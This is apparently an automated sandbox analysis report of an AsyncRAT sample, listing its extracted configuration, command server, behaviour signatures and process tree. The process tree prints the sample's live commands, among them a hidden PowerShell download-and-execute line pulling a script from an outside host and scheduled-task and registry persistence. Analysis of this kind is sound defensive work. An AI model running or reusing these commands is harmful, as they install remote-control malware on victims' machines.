Analysis

  • max time kernel
    60s
  • max time network
    60s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    09/09/2026, 19:38

General

  • Target
    31717ed5ccab219bc03b68a4bc3a8a5aa066ec1e871360abd412fe98399faa20.exe
  • Size 55KB
  • Sample260909-ycql2ssvbz
  • SHA256 31717ed5ccab219bc03b68a4bc3a8a5aa066ec1e871360abd412fe98399faa20
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://c168.design/load.ps1

Extracted

Family
  • asyncrat

Version
  • 0.5.8

Botnet
  • Default

C2
  • c168.design:443

Mutex
  • 1MhOWeZZstzP

Attributes
  • delay

    3

  • install

    true

  • install_file

    tele@engineer_at_meta.exe

  • install_folder

    %Temp%

aes.plain

Signatures

  • Family: AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Async RAT payload 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Delays execution with timeout.exe 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

Processes

  • C:\Users\Admin\AppData\Local\Temp\31717ed5ccab219bc03b68a4bc3a8a5aa066ec1e871360abd412fe98399faa20.exe
    "C:\Users\Admin\AppData\Local\Temp\31717ed5ccab219bc03b68a4bc3a8a5aa066ec1e871360abd412fe98399faa20.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    PID:5248
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "tele@engineer_at_meta" /tr '"C:\Users\Admin\AppData\Local\Temp\tele@engineer_at_meta.exe"' & exit
      2⤵
      • Executes a command shell one-liner
      PID:1412
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /f /sc onlogon /rl highest /tn "tele@engineer_at_meta" /tr '"C:\Users\Admin\AppData\Local\Temp\tele@engineer_at_meta.exe"'
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:5448
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpDC32.tmp.bat""
      2⤵
      • Executes a command shell one-liner
      PID:4288
      • C:\Windows\SysWOW64\timeout.exe
        timeout 3
        3⤵
        • Delays execution with timeout.exe
        PID:3420
      • C:\Users\Admin\AppData\Local\Temp\tele@engineer_at_meta.exe
        "C:\Users\Admin\AppData\Local\Temp\tele@engineer_at_meta.exe"
        3⤵
          PID:4520
    • C:\Users\Admin\AppData\Local\Temp\tele@engineer_at_meta.exe
      "C:\Users\Admin\AppData\Local\Temp\tele@engineer_at_meta.exe"
      1⤵
        PID:4136
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "CasinoUpdateService" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://c168.design/load.ps1')\"" /f
          2⤵
          • Executes a command shell one-liner
          PID:4192
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "CasinoUpdateService" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://c168.design/load.ps1')\"" /f
            3⤵
              PID:3164
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://c168.design/load.ps1')"
          1⤵
          • Command and Scripting Interpreter: PowerShell
          PID:5904

        Network

              MITRE ATT&CK Enterprise v16

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              tele@engineer_at_meta.exe

              • Path C:\Users\Admin\AppData\Local\Temp\tele@engineer_at_meta.exe
              • Size 55KB
              • SHA256 31717ed5ccab219bc03b68a4bc3a8a5aa066ec1e871360abd412fe98399faa20
              • MD5 SHA1 SHA512 SSDEEP TLSH

              tmpDC32.tmp.bat

              • Path C:\Users\Admin\AppData\Local\Temp\tmpDC32.tmp.bat
              • Size 168B
              • SHA256 ad1a47e9037762133870a15088652ccf047cbab2118b608af308657e267fb930
              • MD5 SHA1 SHA512 TLSH

              memory/4136-12-0x0000000074F20000-0x00000000756DC000-memory.dmp

              memory/4136-14-0x0000000074F20000-0x00000000756DC000-memory.dmp

              memory/5248-0-0x0000000074F32000-0x0000000074F33000-memory.dmp

              memory/5248-1-0x00000000005B0000-0x00000000005C4000-memory.dmp

              memory/5248-2-0x0000000074F20000-0x00000000756DC000-memory.dmp

              memory/5248-3-0x0000000005B00000-0x0000000005B9C000-memory.dmp

              memory/5248-9-0x0000000074F20000-0x00000000756DC000-memory.dmp

              memory/5904-17-0x0000024B78740000-0x0000024B78762000-memory.dmp